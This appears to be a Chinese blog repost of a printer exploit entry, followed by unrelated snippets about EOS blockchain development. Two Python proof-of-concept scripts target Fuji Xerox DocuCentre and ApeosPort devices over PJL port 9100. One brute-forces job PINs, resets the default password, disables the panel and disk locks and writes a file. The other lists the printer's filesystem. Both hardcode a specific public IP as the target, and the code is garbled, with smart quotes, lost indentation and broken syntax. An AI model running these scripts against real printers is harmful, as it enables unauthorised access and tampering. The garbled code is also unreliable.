富士施乐 DocuCentre-V 3065 打印机远程命令执行漏洞

news/2025/1/12 13:32:53/

直接上代码:

Exploit Title: FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution

Date: 2018-09-05

Exploit Author: vr_system

Vendor Homepage: https://www.fujixerox.com.cn/

Software Link: https://www.fujixerox.com.cn/

Version: DocuCentre-IV,DocuCentre-VI,DocuCentre-V,ApeosPort-VI,ApeosPort-V

Tested on: DocuCentre-V 3065,ApeosPort-VI C3371,ApeosPort-V C4475,ApeosPort-V C3375,DocuCentre-VI C2271,ApeosPort-V C5576,DocuCentre-IV C2263,DocuCentre-V C2263,ApeosPort-V 5070

CVE : N/A

POC:Ability to write files to the printer

#!/usr/bin/env python

-- coding: UTF-8 --

import socket
import time
PJL_START = "\033%-12345X@PJL "
PJL_FINISH = “\033%-12345X\r\n”

def Buildsocket(ip,port=9100):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.settimeout(5)
try:
sock.connect((ip, port))
except:
print “[!*]-ip-%s-can’t connect–” % ip
return ‘error’
for i in range(500):
print"bypass pin:{0}".format(i)
PJL_INFO_ID = “”“JOB PASSWORD={0}\r\n”"".format(i)
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)
PJL_INFO_ID = “”“DEFAULT PASSWORD=0\r\n”""
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)

PJL_INFO_ID = """DEFAULT CPLOCK=OFF\r\n"""
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
sock.send(DEVICEID)  
PJL_INFO_ID = """DEFAULT DISKLOCK=OFF\r\n"""
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
sock.send(DEVICEID)  PJL_INFO_ID = """FSDOWNLOAD FORMAT:BINARY SIZE=4 NAME="0:/test4"\r\n"""
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
sock.send(DEVICEID)  
try:device = sock.recv(1024)
except:pass
PJL_INFO_ID = """FSUPLOAD NAME="0:/test4" OFFSET=0 SIZE=4\r\n"""
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
sock.send(DEVICEID)  
try:device = sock.recv(1024)
except:pass
finally:sock.close()
print "OK"

if name == ‘main’:
ip = “118.42.125.192”
Buildsocket(ip, port=9100)

POC:Ability to view files in the printer

##!/usr/bin/env python

-- coding: UTF-8 --

import socket
PJL_START = "\033%-12345X@PJL "
PJL_FINISH = “\033%-12345X\r\n”

def Buildsocket(ip, port=9100):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.settimeout(5)
try:
sock.connect((ip, port))
except:
print “[!]-ip-%s-can’t connect–" % ip
return ‘error’
PJL_INFO_ID = “”“FSDIRLIST NAME=“0:/” ENTRY=1 COUNT=65535"”"
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID)
try:
device = sock.recv(1024)
except:pass
PJL_INFO_ID = “”“FSDIRLIST NAME=“0:/” ENTRY=1"”"
DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
sock.send(DEVICEID) #
try:
device = sock.recv(1024)
except:
return ‘No’
print "[!
]-ip-%s-is-ok\r\ndeviceidis-%s” % (str(ip), device)
sock.close()
return ‘OK’
if name == ‘main’:
Buildsocket(“118.42.125.192”, port=9100)


http://www.ppmy.cn/news/159321.html

相关文章

eos 发币

查看linux 系统版本 head -n 1 /etc/issue 按照官网使用对应系统版本安装 cleos https://developers.eos.io/eosio-home/docs/setting-up-your-environment 直接指定主网节点IP:PORT即可连上主网 cleos -u https://node1.eosphere.io get info "chain_id": "…

【问链-EOS公开课】第十一课 EOS 智能合约相互调用

EOS中合约之间是可以相互调用的,主要通过inline action完成合约之间的调用。 譬如在掷骰子游戏中,存在两个玩家先下注资金,然后比较骰子大小后决定胜负,赢的那一方将获得所有的下注资金。在eosio源代码eos/build/contract/dice 智能合约示例…

eos代码阅读笔记08- 产生块过程

链的控制器controller 包含很多重要功能。 class controller { struct config {flat_set<account_name> actor_whitelist;白名单flat_set<account_name> actor_blacklist;黑名单flat_set<account_name> contract_whitelist;合约白名单flat_set<acc…

EOS 环境搭建

1. 硬件软件环境 因为EOS的版本太多&#xff0c;所以你需要先知道如何查看EOS对应版本的相关资料。 打开EOS Github官网https://github.com/EOSIO/eos,如下图所示&#xff0c;点击master,然后点击tag&#xff0c;你将会看到不同的版本及其对应的文档。 我在我电脑安装过各种各…

EOS合约开发2-投票合约开发

前言 合约是DAPP的基础&#xff0c;因此在开发DAPP之前&#xff0c;我们需要明白我们的项目是否需要去中心话以及哪些数据需要去中心化&#xff0c;目前的公链还不支持所有的资源都去中心话&#xff0c;这样才能更好的设计我们的项目和合约。接下来将以去中心话的投票系统为例…

EOS项目编译及操作入门

本次EOS项目编译操作是在mac上安装的的centos7进行的&#xff0c;可能是虚拟机的问题&#xff0c;本次编译时间较长。下面是本次操作的整个流程。 一、虚拟机安装&#xff1a;具体安装步骤省略&#xff0c;看资料需要我分配了8G内存和50G硬盘&#xff0c;参见下图配置 二、首先…

EOS区块链技术开发(一)环境搭建

强烈建议直接去看EOSIO官网上的教程&#xff1a;https://developers.eos.io/ 不要看我的??博文了&#xff0c;以下博文就是我当时随便写写的&#xff0c;现在也没有什么时间详细修改。如果有问题可以提问。 注&#xff1a;由于EOSIO仍在不断更新&#xff0c;所以以下内容的…

[服务器图片上传demo]

目录 前言: Java 实现华为云服务器图片上传和下载的示例代码&#xff1a; 图片下载 Java 实现阿里云服务器图片上传和下载的示例代码&#xff1a; 图片下载 Java 实现腾讯云服务器图片上传和下载的示例代码&#xff1a; 图片下载 依赖: 前言: 记录一…